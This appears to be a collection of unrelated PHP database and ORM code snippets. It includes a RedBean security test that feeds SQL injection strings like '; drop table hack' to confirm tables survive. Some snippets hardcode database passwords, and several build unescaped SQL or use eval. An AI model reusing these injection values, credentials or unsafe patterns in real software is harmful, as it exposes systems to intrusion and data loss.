$v1 .= \"$q$val$q\";\n $k2 .= \"$key=$q$val$q\";\n if ($key==$field) {\n $fieldval=\"$q$val$q\";\n }\n }\n }\n if ($update==\"add\") {\n $sql = \"insert into $table ($k1) values ($v1)\";\n }\n if ($update==\"update\") {\n $sql = \"update $table set $k2 where $field=$fieldval\";\n }\n return $sql;\n}", "public function __construct(object $pp1) { \n self::$pp1 = $pp1 ;\n if (isset($pp1->shared_dbadapter_obj)) self::$utldb = $pp1->shared_dbadapter_obj ;\n }", "function object_array($object){\r\n\t$table_name = $object->gettablename();\r\n\t$arr_column = $object->getcolumnnames();\r\n\t$arr_object = array();\r\n\t$arr = $object->searchbyobject(NULL, NULL, TRUE);\r\n\r\n\tswitch($table_name){\r\n\t\tcase \"itpedido_conf\": $table_name = \"itpedidoconf\";\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tif(is_array($arr)){\r\n\t\tforeach($arr as $row){\r\n\t\t\t$ob = objectbytable($table_name, NULL, $object->getconnection());\r\n\t\t\tforeach($arr_column as $column){\r\n\t\t\t\t@call_user_func(array($ob, \"set\".$column), $row[$column]);\r\n\t\t\t}\r\n\t\t\t$arr_object[] = $ob;\r\n\t\t}\r\n\t}\r\n\treturn $arr_object;\r\n}", "public function getPobj()\n {\n return $this;\n }", "function sql_fetch_object($res)\n {\n $results = NULL;\n if ( $res && is_object( $res ) )\n $results = $res->fetchObject(); \n return $results;\n }", "private function gen_provSQL() {\n\t\t\t$this -> Retun_val = true;\n\t\t}", "function yy_r30(){ $this->_retvalue = new SQL\\AlterTable\\DropPrimaryKey; }", "public function run() {\n\t\t$toolbox = R::$toolbox;\n\t\t$adapter = $toolbox->getDatabaseAdapter();\n\t\t$writer = $toolbox->getWriter();\n\t\t$redbean = $toolbox->getRedBean();\n\t\t$pdo = $adapter->getDatabase();\n\t\t$a = new RedBean_AssociationManager( $toolbox );\n\t\t$adapter->exec(\"DROP TABLE IF EXISTS testtable\");\n\t\tasrt(in_array(\"testtable\",$adapter->getCol(\"show tables\")),false);\n\t\t$writer->createTable(\"testtable\");\n\t\tasrt(in_array(\"testtable\",$adapter->getCol(\"show tables\")),true);\n\t\tasrt(count(array_diff($writer->getTables(),$adapter->getCol(\"show tables\"))),0);\n\t\tasrt(count(array_keys($writer->getColumns(\"testtable\"))),1);\n\t\tasrt(in_array(\"id\",array_keys($writer->getColumns(\"testtable\"))),true);\n\t\tasrt(in_array(\"c1\",array_keys($writer->getColumns(\"testtable\"))),false);\n\t\t$writer->addColumn(\"testtable\", \"c1\", 1);\n\t\tasrt(count(array_keys($writer->getColumns(\"testtable\"))),2);\n\t\tasrt(in_array(\"c1\",array_keys($writer->getColumns(\"testtable\"))),true);\n\t\tforeach($writer->sqltype_typeno as $key=>$type) {\n\t\t\tif ($type < 100) {\n\t\t\t\tasrt($writer->code($key),$type);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tasrt($writer->code($key),99);\n\t\t\t}\n\t\t}\n\t\tasrt($writer->code(\"unknown\"),99);\n\t\tasrt($writer->scanType(false),0);\n\t\tasrt($writer->scanType(NULL),0);\n\t\tasrt($writer->scanType(2),1);\n\t\tasrt($writer->scanType(255),1);\n\t\tasrt($writer->scanType(256),2);\n\t\tasrt($writer->scanType(-1),3);\n\t\tasrt($writer->scanType(1.5),3);\n\t\tasrt($writer->scanType(INF),4);\n\t\tasrt($writer->scanType(\"abc\"),4);\n\t\tasrt($writer->scanType(\"2001-10-10\",true),RedBean_QueryWriter_MySQL::C_DATATYPE_SPECIAL_DATE);\n\t\tasrt($writer->scanType(\"2001-10-10 10:00:00\",true),RedBean_QueryWriter_MySQL::C_DATATYPE_SPECIAL_DATETIME);\n\t\tasrt($writer->scanType(\"2001-10-10\"),4);\n\t\tasrt($writer->scanType(\"2001-10-10 10:00:00\"),4);\n\t\tasrt($writer->scanType(\"POINT(1 2)\",true),RedBean_QueryWriter_MySQL::C_DATATYPE_SPECIAL_POINT);\n\t\tasrt($writer->scanType(\"POINT(1 2)\"),4);\n\t\tasrt($writer->scanType(str_repeat(\"lorem ipsum\",100)),5);\n\t\t$writer->widenColumn(\"testtable\", \"c1\", 2);\n\t\t$cols=$writer->getColumns(\"testtable\");\n\t\tasrt($writer->code($cols[\"c1\"]),2);\n\t\t$writer->widenColumn(\"testtable\", \"c1\", 3);\n\t\t$cols=$writer->getColumns(\"testtable\");\n\t\tasrt($writer->code($cols[\"c1\"]),3);\n\t\t$writer->widenColumn(\"testtable\", \"c1\", 4);\n\t\t$cols=$writer->getColumns(\"testtable\");\n\t\tasrt($writer->code($cols[\"c1\"]),4);\n\t\t$writer->widenColumn(\"testtable\", \"c1\", 5);\n\t\t$cols=$writer->getColumns(\"testtable\");\n\t\tasrt($writer->code($cols[\"c1\"]),5);\n\t\t$id = $writer->updateRecord(\"testtable\", array(array(\"property\"=>\"c1\",\"value\"=>\"lorem ipsum\")));\n\t\t$row = $writer->selectRecord(\"testtable\", array(\"id\"=>array($id)));\n\t\tasrt($row[0][\"c1\"],\"lorem ipsum\");\n\t\t$writer->updateRecord(\"testtable\", array(array(\"property\"=>\"c1\",\"value\"=>\"ipsum lorem\")), $id);\n\t\t$row = $writer->selectRecord(\"testtable\", array(\"id\"=>array($id)));\n\t\tasrt($row[0][\"c1\"],\"ipsum lorem\");\n\t\t$writer->selectRecord(\"testtable\", array(\"id\"=>array($id)),null,true);\n\t\t$row = $writer->selectRecord(\"testtable\", array(\"id\"=>array($id)));\n\t\tasrt(empty($row),true);\n\t\t//$pdo->setDebugMode(1);\n\t\t$writer->addColumn(\"testtable\", \"c2\", 2);\n\t\ttry {\n\t\t\t$writer->addUniqueIndex(\"testtable\", array(\"c1\",\"c2\"));\n\t\t\tfail(); //should fail, no content length blob\n\t\t}catch(RedBean_Exception_SQL $e) {\n\t\t\tpass();\n\t\t}\n\t\t$writer->addColumn(\"testtable\", \"c3\", 2);\n\t\ttry {\n\t\t\t$writer->addUniqueIndex(\"testtable\", array(\"c2\",\"c3\"));\n\t\t\tpass(); //should fail, no content length blob\n\t\t}catch(RedBean_Exception_SQL $e) {\n\t\t\tfail();\n\t\t}\n\t\t$a = $adapter->get(\"show index from testtable\");\n\t\tasrt(count($a),3);\n\t\tasrt($a[1][\"Key_name\"],\"UQ_64b283449b9c396053fe1724b4c685a80fd1a54d\");\n\t\tasrt($a[2][\"Key_name\"],\"UQ_64b283449b9c396053fe1724b4c685a80fd1a54d\");\n\t\t//Zero issue (false should be stored as 0 not as '')\n\t\ttestpack(\"Zero issue\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS `zero`\");\n\t\t$bean = $redbean->dispense(\"zero\");\n\t\t$bean->zero = false;\n\t\t$bean->title = \"bla\";\n\t\t$redbean->store($bean);\n\t\tasrt( count($redbean->find(\"zero\",array(),\" zero = 0 \")), 1 );\n\t\tR::store(R::dispense('hack'));\n\t\ttestpack(\"Test RedBean Security - bean interface \");\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t$bean = $redbean->load(\"page\",\"13; drop table hack\");\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\ttry {\n\t\t\t$bean = $redbean->load(\"page where 1; drop table hack\",1);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t$bean = $redbean->dispense(\"page\");\n\t\t$evil = \"; drop table hack\";\n\t\t$bean->id = $evil;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\tunset($bean->id);\n\t\t$bean->name = \"\\\"\".$evil;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t$bean->name = \"'\".$evil;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t$bean->$evil = 1;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\tunset($bean->$evil);\n\t\t$bean->id = 1;\n\t\t$bean->name = \"\\\"\".$evil;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t$bean->name = \"'\".$evil;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t$bean->$evil = 1;\n\t\ttry {\n\t\t\t$redbean->store($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\ttry {\n\t\t\t$redbean->trash($bean);\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\ttry {\n\t\t\t$redbean->find(\"::\",array(),\"\");\n\t\t}catch(Exception $e) {\n\t\t\tpass();\n\t\t}\n\t\t$adapter->exec(\"drop table if exists sometable\");\n\t\ttestpack(\"Test RedBean Security - query writer\");\n\t\ttry {\n\t\t\t$writer->createTable(\"sometable` ( `id` INT( 11 ) UNSIGNED NOT NULL AUTO_INCREMENT , PRIMARY KEY ( `id` ) ) ENGINE = InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci ; drop table hack; --\");\n\t\t}catch(Exception $e) {}\n\t\tasrt(in_array(\"hack\",$adapter->getCol(\"show tables\")),true);\n\t\t\t\t\n\t\ttestpack(\"Test ANSI92 issue in clearrelations\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book_group\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS author_book\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS author\");\n\t\t$redbean = $toolbox->getRedBean();\n\t\t$a = new RedBean_AssociationManager( $toolbox );\n\t\t$book = $redbean->dispense(\"book\");\n\t\t$author1 = $redbean->dispense(\"author\");\n\t\t$author2 = $redbean->dispense(\"author\");\n\t\t$book->title = \"My First Post\";\n\t\t$author1->name=\"Derek\";\n\t\t$author2->name=\"Whoever\";\n\t\tset1toNAssoc($a,$book,$author1);\n\t\tset1toNAssoc($a,$book, $author2);\n\t\tpass();\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book_group\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book_author\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS author_book\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS author\");\n\t\t$redbean = $toolbox->getRedBean();\n\t\t$a = new RedBean_AssociationManager( $toolbox );\n\t\t$book = $redbean->dispense(\"book\");\n\t\t$author1 = $redbean->dispense(\"author\");\n\t\t$author2 = $redbean->dispense(\"author\");\n\t\t$book->title = \"My First Post\";\n\t\t$author1->name=\"Derek\";\n\t\t$author2->name=\"Whoever\";\n\t\t$a->associate($book,$author1);\n\t\t$a->associate($book, $author2);\n\t\tpass();\n\t\ttestpack(\"Test Association Issue Group keyword (Issues 9 and 10)\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS `book_group`\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS `group`\");\n\t\t$group = $redbean->dispense(\"group\");\n\t\t$group->name =\"mygroup\";\n\t\t$redbean->store( $group );\n\t\ttry {\n\t\t\t$a->associate($group,$book);\n\t\t\tpass();\n\t\t}catch(RedBean_Exception_SQL $e) {\n\t\t\tfail();\n\t\t}\n\t\t//test issue SQL error 23000\n\t\ttry {\n\t\t\t$a->associate($group,$book);\n\t\t\tpass();\n\t\t}catch(RedBean_Exception_SQL $e) {\n\t\t\tfail();\n\t\t}\n\t\tasrt((int)$adapter->getCell(\"select count(*) from book_group\"),1); //just 1 rec!\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book_group\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS author_book\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS book\");\n\t\t$pdo->Execute(\"DROP TABLE IF EXISTS author\");\n\t\t$redbean = $toolbox->getRedBean();\n\t\t$a = new RedBean_AssociationManager( $toolbox );\n\t\t$book = $redbean->dispense(\"book\");\n\t\t$author1 = $redbean->dispense(\"author\");\n\t\t$author2 = $redbean->dispense(\"author\");\n\t\t$book->title = \"My First Post\";\n\t\t$author1->name=\"Derek\";\n\t\t$author2->name=\"Whoever\";\n\t\t$a->unassociate($book,$author1);\n\t\t$a->unassociate($book, $author2);\n\t\tpass();\n\t\t$redbean->trash($redbean->dispense(\"bla\"));\n\t\tpass();\n\t\t$bean = $redbean->dispense(\"bla\");\n\t\t$bean->name = 1;\n\t\t$bean->id = 2;\n\t\t$redbean->trash($bean);\n\t\tpass();\n\t\t\n\t\ttestpack('Special data types');\n\t\tR::nuke();\n\t\t$bean = R::dispense('bean');\n\t\t$bean->date = 'someday';\n\t\tR::store($bean);\n\t\t$cols = R::getColumns('bean');\n\t\tasrt($cols['date'],'varchar(255)');\n\t\t$bean = R::dispense('bean');\n\t\t$bean->date = '2011-10-10';\n\t\tR::store($bean);\n\t\t$cols = R::getColumns('bean');\n\t\tasrt($cols['date'],'varchar(255)');\n\t\t\n\t\tR::nuke();\n\t\t$bean = R::dispense('bean');\n\t\t$bean->date = '2011-10-10';\n\t\tR::store($bean);\n\t\t$cols = R::getColumns('bean');\n\t\tasrt($cols['date'],'date');\n\t\t\n\t\tR::nuke();\n\t\t$bean = R::dispense('bean');\n\t\t$bean->date = '2011-10-10 10:00:00';\n\t\tR::store($bean);\n\t\t$cols = R::getColumns('bean');\n\t\tasrt($cols['date'],'datetime');\n\t\t$bean = R::dispense('bean');\n\t\t$bean->date = 'soon';\n\t\tR::store($bean);\n\t\t$cols = R::getColumns('bean');\n\t\tasrt($cols['date'],'datetime');\n\t\t$this->setGetSpatial('POINT(1 2)');\n\t\t$this->setGetSpatial('LINESTRING(3 3,4 4)');\n\t\t$this->setGetSpatial('POLYGON((0 0,10 0,10 10,0 10,0 0),(5 5,7 5,7 7,5 7,5 5))');\n\t\t$this->setGetSpatial('MULTIPOINT(0 0,20 20,60 60)');\n\t}", "public abstract function fetchObject();", "private function getColumnObject()\n {\n if(!is_object($this->colObj) && !($this->colObj instanceof Columns)) {\n $this->colObj = GeneralUtility::makeInstance('PITS\\\\Snowbabel\\\\Record\\\\Columns', $this->confObj);\n }\n }", "public function as_object() {\r\n $this->fetch_mode = 'object';\r\n return $this;\r\n }", "function maxdb_fetch_object($result)\n{\n}", "public function __construct(){\n\t\t\t$this->db = new PDO('pgsql:host=centraldepush.postgresql.dbaas.com.br;dbname=centraldepush', 'centraldepush', 'lampada@@6458');\n\t\t\t$this->db->exec(\"SET NAMES 'UTF8'\");\n\t\t}", "function _fromRow($row) {\n\t\t$monograph = parent::_fromRow($row);\n\n\t\t$monograph->setSeriesId($row['series_id']);\n\t\t$monograph->setSeriesPosition($row['series_position']);\n\t\t$monograph->setSeriesAbbrev(isset($row['series_abbrev'])?$row['series_abbrev']:null);\n\t\t$monograph->setWorkType($row['edited_volume']);\n\n\t\tHookRegistry::call('MonographDAO::_fromRow', array(&$monograph, &$row));\n\n\t\treturn $monograph;\n\t}", "public function __construct(object $pp1) {\n self::$pp1 = $pp1 ;\n if (isset($pp1->shared_dbadapter_obj)) self::$utldb = $pp1->shared_dbadapter_obj ;\n }", "function maxdb_fetch_object()\n{\n}", "private function deepObjToRef()\n {\n $allFields = $this->toArray();\n foreach ($allFields as $key => $val) {\n if ($val instanceof \\Phalcore\\Models\\Mongo) {\n if (!isset($val->_id)) $val->save();\n $val = Mongo\\AdHocDBRef::create($val);\n $this->$key = $val;\n } elseif (is_array($val)) {\n list ($converted, $changed) = $this->_recO2R($val);\n if ($changed)\n $this->$key = $converted;\n }\n }\n }", "public function aObjeto() {\t}", "public function getIndirectObject() {}", "public function getIndirectObject() {}", "protected function Obj($table){\n\n\t\tif(gettype($table) == \"array\" ) $table = implode('->',$table);\n\n\t\t$table = str_replace(\"_\",\"->\",$table);\n\n\t\t$obj= $table ? '$this::$root->'.$table : '$this::$root';\n\n\t\teval('$obj = '.$obj.';');\n\n\t\treturn $obj;\t\n\n\t}", "public function fetchObject(){\n $this->debugBacktrace();\n $this->fetchType = \"fetch_object\";\n return $this;\n }", "public function __construct() {\n\t\t$this->db = pg_connect(\"host=localhost dbname='cdi13' user='cdi13' password='cdi13database'\");\n\t}", "function Likee_upd(){\n\t\t// Make a local reference to the ExpressionEngine super object\n\t\t$this->EE =& get_instance();\n\t}", "public abstract function FetchObject();", "protected function __clone(){}", "public function getObj();", "abstract protected function createObject();", "public function getOrm()\r\n {\r\n return new R;\r\n }", "function _fetch_object()\n\t{\n\t\treturn sqlsrv_fetch_object($this->result_id);\n\t}", "function unify_right_side_rows($connect,$right_side,$bindings) {\n\n print_psql(\"<unify_right_side_rows>\");\n print_psql(\"</unify_right_side_rows>\");\n}", "private function __clone(){\n\t\t\n\t}", "function &_fromRow(&$row) {\n\t\t$person = $this->newDataObject();\n\t\t$person->setId($row['person_id']);\n\t\t$person->setObjectId($row['object_id']);\n\t\t$person->setSequence($row['seq']);\n\t\t$person->setRole($row['role']);\n\t\t$person->setFirstName($row['first_name']);\n\t\t$person->setMiddleName($row['middle_name']);\n\t\t$person->setLastName($row['last_name']);\n\n\t\tHookRegistry::call('ObjectForReviewPersonDAO::_fromRow', array(&$person, &$row));\n\n\t\treturn $person;\n\t}", "function _fetch_object()\n\t{\n\t\treturn mysqli_fetch_object($this->result_id);\n\t}", "function createObject()\n {\n $stmt = $this->mysqli->prepare(\"INSERT INTO object(`name`, `description`, `price`, `typeCoin`, `weight`, `volume`, `limitationStrength`,\n `limitationDex`, `limitationCons`, `limitationInt`, `limitationWis`,`typeObject`, `primal`)\n VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)\");\n $stmt->bind_param(\n \"ssisiiiiiiisi\",\n $this->name,\n $this->description,\n $this->price,\n $this->typeCoin,\n $this->weight,\n $this->volume,\n $this->limitationStrength,\n $this->limitationDex,\n $this->limitationCons,\n $this->limitationInt,\n $this->limitationWis,\n $this->typeObject,\n $this->primal\n );\n $stmt->execute();\n $this->id = $this->mysqli->insert_id;\n $stmt->close();\n }", "final function velcom(){\n }", "private function __clone(){\n\n }", "function Open(){\n\t\t$this->con = pg_connect($this->strCon);\n\t}", "abstract public function prepare_new_object(array $args);", "protected function buildDomainObject($row) {\n $praticien = new Praticien();\n $praticien->setIdPraticien($row['id_praticien']);\n $praticien->setIdSpecialite($row['id_specialite']);\n $praticien->setRaisonSociale($row['raison_sociale']);\n $praticien->setAdresse($row['adresse']);\n $praticien->setTelephone($row['telephone']);\n $praticien->setNom($row['nom']);\n $praticien->setMail($row['mail']);\n $praticien->setCoeff_notoriete($row['coeff_notoriete']);\n $praticien->setCoeff_confiance($row['coeff_confiance']);\n $praticien->setType($row['type']);\n return $praticien;\n }", "public function parseSQLDataProvider() {}", "function tree2sql() {\n\t\t$table = $this->packageInfo['table'];\n\t\twhile(list($tableNum,$tableData) = @each($table)) {\n\t\t\tunset($sql);\n\t\t\t$cols = $tableData['column'];\n\t\t\t$thistablename = $tableData['attributes']['name'];\n\t\t\twhile(list($colNum,$col) = @each($cols)) {\n\t\t\t\t$_string = \"\";\n\t\t\t\t$len = \"\";\n\t\t\t\textract($col);\n\t\t\t\t$_string .= \"$field $type \";\n\t\t\t\tif ($len) { $_string .= \"($len) \"; }\n\t\t\t\tif ($null) { $_string .=\" NULL \"; } else { $_string .= \" NOT NULL \"; }\n\t\t\t\t$_string .= \" default '$default' \";\n\t\t\t\tif ($extra) { $_string .= \" $extra \"; }\n\t\t\t\t$sql[] = $_string;\n\t\t\t}\n\t\t\t$idx = $tableData['indexes'];\n\t\t\t$col = \"\";\n\t\t\twhile(list($num,$indx) = @each($idx)) {\n\t\t\t\twhile(list($numpos,$cols) = each($indx['index'])) {\n\t\t\t\t\textract($indx['attributes'][$numpos]);\n\t\t\t\t\t$col[$name]= @implode(\",\",$cols['columns']);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$sqlindex = \"\";\n\t\t\t$sqlindexes = \"\";\n\t\t\twhile(list($key,$val) = @each($col)) {\n\t\t\t\tif (strtoupper($key)=='PRIMARY') { $key = \" PRIMARY KEY \"; } else { $key = \" KEY $key \"; }\n\t\t\t\t$sqlindex[] = \"$key ($val)\";\n\t\t\t}\n\t\t\t$sqlindexes = @implode(\",\",$sqlindex);\n\t\t\tif ($sqlindexes) { $sqlindexes =\" , $sqlindexes\"; }\n\t\t\t$finalsql[] = \"drop table if exists $thistablename\";\n\t\t\t$finalsql[] = \" create table $thistablename ( \".@implode(\",\",$sql).\" $sqlindexes ) \";\n\n\t\t\t$rows = $tableData['data'][$tableNum]['row'];\n\t\t\twhile(list($rownum,$rowdata) = @each($rows)) { \n\t\t\t\t$keys = \"\";\n\t\t\t\t$vals = \"\";\n\t\t\t\twhile(list($k,$v) = each($rowdata)) { \n\t\t\t\t\t$keys[]=$k;\n\t\t\t\t\t$vals[]=$v;\n\t\t\t\t}\n\t\t\t\t$datasql[] = \"insert into $thistablename (\".implode(\",\",$keys).\") values ('\".implode(\"','\",$vals).\"')\";\n\t\t\t}\n\t\t}\n\t\t$this->datasql = $datasql;\n\t\t$this->sql = $finalsql;\n\t\treturn $finalsql;\n\t}", "public function __destruct() {\n if ($this->conn != FALSE) {\n //pg_close($this->conn);\n }\n }", "public function __construct()\n {\n $this->timestamps = TRUE;\n $this->soft_deletes = FALSE;\n $this->return_as = 'object'; //array\n parent::__construct();\n }", "private function __() {\n }", "function _fetch_object()\r\n\t{\r\n\t\tif ( is_array($this->pdo_results) ) {\r\n\t\t\t$i = $this->pdo_index;\r\n\t\t\t$this->pdo_index++;\r\n\t\t\tif ( isset($this->pdo_results[$i])) {\r\n\t\t\t\t$back = '';\r\n\t\t\t\tforeach ( $this->pdo_results[$i] as $key => $val ) {\r\n\t\t\t\t\t$back->$key = $val;\r\n\t\t\t\t}\r\n\t\t\t\treturn $back;\r\n\t\t\t}\r\n\t\t\treturn null;\r\n\t\t}\r\n\t\treturn $this->result_id->fetch(PDO::FETCH_OBJ);\r\n\t}", "function right_side($connect,$pred_id) {\n\n $new_sql = <<<Q\n SELECT pred,antecedent.pred_id,name,position\n FROM pred AS antecedent,arg \n WHERE \n antec_of='{$pred_id}' AND arg.pred_id = antecedent.pred_id \n ORDER BY antecedent.pred_id,arg.position;\nQ;\n\n // rather than returning a list, simply return the $rows, which \n // unify_right_side() will then iterate through.\n\n // return a list of conjuncts that \n // compose the right side for rule with id $pred_id. \n // The list might be empty, in which case $left_side is simply a fact, not a rule. \n $retval = array();\n $sql = \"SELECT pred,pred_id FROM pred WHERE antec_of='$pred_id'\";\n $right_side = array();\n\n print_psql(\"<right_side_query>\");\n print_psql($sql);\n print_psql(\"</right_side_query>\");\n\n $rows = pg_query($connect,$sql);\n $i = 0;\n while($conjunct = pg_fetch_array($rows,NULL,PGSQL_ASSOC)) {\n $pred_struct = array();\n $pred_struct['pred'] = $conjunct['pred'];\n \n $query = <<<Q\n SELECT name FROM arg WHERE arg.pred_id = '{$conjunct['pred_id']}' ORDER BY position\nQ;\n \n print_psql(\"<rs_conjunct_query>\");\n print_psql($query);\n print_psql(\"</rs_conjunct_query>\");\n\n $arg_result = pg_query($connect,$query);\n \n $pred_struct['arg_list'] = array();\n \n while ($arg_array = pg_fetch_array($arg_result,NULL,PGSQL_ASSOC)) {\n $pred_struct['arg_list'][] = $arg_array['name'];\n }\n $retval[] = $pred_struct;\n }\n return array($retval, pg_query($connect,$new_sql));\n}", "private function _prepareReturnData($data) {\n $o = new Agana_Model_Object($data);\n $o->setId($data['objid']);\n $o->setTableName($data['tablename']);\n return $o;\n }", "abstract public function hydrate($data);", "public function __destruct() {\n\t oci_free_statement($this->result);\n\t }", "private function __clone(){ }", "function convert_from_sql_row($row)\n\t{\n $this->SignupId = (int)$row->SignupId;\n $this->UserId = (int)$row->UserId;\n $this->RunId = (int)$row->RunId;\n $this->State = (string)$row->State;\n $this->PrevState = (string)$row->PrevState;\n $this->Gender = (string)$row->Gender;\n $this->Counted = (string)$row->Counted;\n $this->UpdatedById = (int)$row->UpdatedById;\n $this->TimeStamp = (string)$row->TimeStamp;\n\t}", "public function change()\n {\n\n $query =\n <<<'EOD'\nCREATE TABLE core_acl_role (\n id INTEGER,\n name TEXT NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n description TEXT,\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_role');\nSELECT ddl_history_tbl('core_acl_role', 'recreate');\n\nINSERT INTO core_acl_role (id, name, description) VALUES\n (1, 'admin', NULL),\n (2, 'guest', NULL),\n (3, 'user', NULL);\n\nCREATE TABLE core_acl_resource (\n id INTEGER,\n name TEXT NOT NULL,\n description TEXT,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_resource');\nSELECT ddl_history_tbl('core_acl_resource', 'recreate');\n\n\nINSERT INTO core_acl_resource (id, name, description) VALUES\n (1, 'admin_area', NULL),\n (2, '*', NULL);\n\nCREATE TABLE core_acl_resource_access (\n id INTEGER NOT NULL,\n resource_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_resource_access');\nSELECT ddl_history_tbl('core_acl_resource_access', 'recreate');\n\nINSERT INTO core_acl_resource_access (id, resource_id, name) VALUES\n (1, 1, '*');\n\n\nCREATE TABLE core_acl_access_list (\n id INTEGER NOT NULL,\n role_id INTEGER NOT NULL,\n resource_id INTEGER NOT NULL,\n access_id INTEGER NOT NULL,\n allowed INTEGER NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_resource_access');\nSELECT ddl_history_tbl('core_acl_resource_access', 'recreate');\n\n\nINSERT INTO core_acl_access_list (id, role_id, resource_id, access_id, allowed) VALUES\n (1, 1, 1, 1, 1);\n\n\nCREATE TABLE core_acl_role_inherit (\n id INTEGER NOT NULL,\n role_id INTEGER NOT NULL,\n inherit_role_id INTEGER NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_role_inherit');\nSELECT ddl_history_tbl('core_acl_role_inherit', 'recreate');\n\n\n/*CREATE TYPE core_menu_item_status AS ENUM ('active', 'noactive');*/\n\n\nCREATE TABLE core_menu_item (\n id INTEGER NOT NULL,\n menu_id INTEGER NOT NULL,\n controller_id INTEGER NOT NULL,\n parent_id INTEGER NOT NULL DEFAULT '0',\n alias TEXT NOT NULL,\n title TEXT NOT NULL,\n description TEXT NOT NULL DEFAULT '',\n image TEXT NOT NULL DEFAULT '',\n position INTEGER NOT NULL DEFAULT '1',\n state_id INTEGER NOT NULL REFERENCES ref (obj_id) DEFAULT state_id('core.core_menu_item.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_menu_item');\nSELECT ddl_history_tbl('core_menu_item', 'recreate');\nSELECT create_state('core.core_menu_item', 'active,noactive', NULL);\n\n\nINSERT INTO core_menu_item (id, menu_id, controller_id, parent_id, alias, title, description, image, position, state_id)\nVALUES\n (1, 1, '-1', 0, '', 'Settings', 'Project settings', '', 5, state_id('core.core_menu_item.active')),\n (2, 1, '-1', 1, '', 'User acccesses', '', '', 1, state_id('core.core_menu_item.active')),\n (3, 1, '6', 2, '', 'Roles', '', '', 1, state_id('core.core_menu_item.active')),\n (4, 1, '-1', 1, '', 'Menu', '', '', 2, state_id('core.core_menu_item.active')),\n (5, 1, '-1', 1, '', 'Mvc', '', '', 3, state_id('core.core_menu_item.active')),\n (7, 1, '2', 4, '', 'Items', '', '', 2, state_id('core.core_menu_item.active')),\n (8, 1, '3', 5, '', 'Modules', '', '', 1, state_id('core.core_menu_item.active')),\n (9, 1, '4', 5, '', 'Controllers', '', '', 2, state_id('core.core_menu_item.active')),\n (10, 1, '5', 5, '', 'Actions', '', '', 3, state_id('core.core_menu_item.active')),\n (11, 1, '1', 4, '', 'Menus', '', '', 1, state_id('core.core_menu_item.active')),\n (12, 1, '7', 2, '', 'Accesses', '', '', 4, state_id('core.core_menu_item.active')),\n (13, 1, '8', 2, '', 'Resources', '', '', 2, state_id('core.core_menu_item.active')),\n (14, 1, '9', 2, '', 'Access list', '', '', 5, state_id('core.core_menu_item.active')),\n (19, 1, '14', 15, '', 'Settings', 'Cron settings', '', 0, state_id('core.core_menu_item.active')),\n (20, 1, '15', 2, '', 'Users', '', '', 5, state_id('core.core_menu_item.active'));\n\n\nCREATE TABLE core_menu_menus (\n id INTEGER NOT NULL,\n name TEXT NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_menu_item');\nSELECT ddl_history_tbl('core_menu_item', 'recreate');\n\nINSERT INTO core_menu_menus (id, name) VALUES\n (1, 